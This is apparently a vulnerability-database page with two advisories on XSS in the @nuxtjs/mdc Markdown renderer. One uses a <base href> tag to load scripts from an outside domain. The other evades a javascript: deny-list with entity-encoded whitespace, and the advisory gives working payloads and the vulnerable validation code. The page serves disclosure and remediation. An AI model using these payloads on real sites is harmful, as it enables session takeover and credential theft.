Version Details and Security Vulnerabilities

Summary

A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld"> element.
The <base> tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.

Details

• Affected file : src/runtime/parser/utils/props.ts
• Core logic  : validateProp() inspects
  • attributes that start with on → blocked
  • href or src → filtered by isAnchorLinkAllowed()
    Every other attribute and every tag (including <base>) is allowed unchanged, so the malicious href on <base> is never validated.

export const validateProp = (attribute: string, value: string) => {
  if (attribute.startsWith('on')) return false
  if (attribute === 'href' || attribute === 'src') {
    return isAnchorLinkAllowed(value)
  }
  return true               // ← “href” on <base> not checked
}

As soon as <base href="https://vozec.fr"> is parsed, any later relative path—/script.js, ../img.png, etc.—is fetched from the attacker’s domain.

Proof of Concept

Place the following in any Markdown handled by Nuxt MDC:

<base href="https://vozec.fr">
<script src="/xss.js"></script>

1. Start the Nuxt app (npm run dev).
2. Visit the page.
3. The browser requests https://vozec.fr/xss.js, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).

Impact

• Type: Stored XSS via remote script inclusion
• Affected apps: Any Nuxt project using @nuxtjs/mdc to render user-controlled Markdown (blogs, CMSs, docs, comments…).
• Consequences: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.

Recommendations

1. Disallow or sanitize <base> tags in the renderer. The safest fix is to strip them entirely.
2. Alternatively, restrict href on <base> to same-origin URLs and refuse protocols like http:, https:, data:, etc. that do not match the current site origin.
3. Publish a patched release and document the security fix.
4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with FORBID_TAGS: ['base'].

Summary

An unsafe parsing logic of the URL from markdown can lead to arbitrary JavaScript code due to a bypass to the existing guards around the javascript: protocol scheme in the URL.

Details

The parsing logic implement at https://github.com/nuxt-modules/mdc/blob/main/src/runtime/parser/utils/props.ts#L16 maintains a deny-list approach to filtering potential malicious payload. It does so by matching protocol schemes like javascript: and others.

Specifically, this is the code from the mdc library's parser that is not secure enough:

export const unsafeLinkPrefix = [
  'javascript:',
  'data:text/html',
  'vbscript:',
  'data:text/javascript',
  'data:text/vbscript',
  'data:text/css',
  'data:text/plain',
  'data:text/xml'
]

export const validateProp = (attribute: string, value: string) => {
  if (attribute.startsWith('on')) {
    return false
  }

  if (attribute === 'href' || attribute === 'src') {
    return !unsafeLinkPrefix.some(prefix => value.toLowerCase().startsWith(prefix))
  }

  return true
}

These security guards can be bypassed by an adversarial that provides JavaScript URLs with HTML entities encoded via hex string.

PoC

The following URL payloads if provided to the markdown parsing library (such as through the usage of import { parseMarkdown } from '@nuxtjs/mdc/runtime';) will trigger the alert() dialog:

# ✅ This is correctly escaped by the parser

- XSS Attempt:

<a href="javascript:alert(1)"> this gets sanitizied, yay!</a>

# ❌ These are vulnerable and not escaped

- Bypass 1:

<a href="jav&#x09;ascript:alert('XSS');">Click Me 1</a>

- Bypass 2:

<a href="jav&#x0A;ascript:alert('XSS');">Click Me 2</a>

- Bypass 3:

<a href="jav&#10;ascript:alert('XSS');">Click Me 3</a>

Impact

Users who consume this library and perform markdown parsing from unvalidated sources such as LLM generative text responses, user input and other untrusted sources could result in rendering vulnerable XSS anchor links.

Reference

You may infer the following write-up for more in-depth walkthrough of URL parsing problems and suggestions on how to securely address them: How to Parse URLs from Markdown to HTML Securely?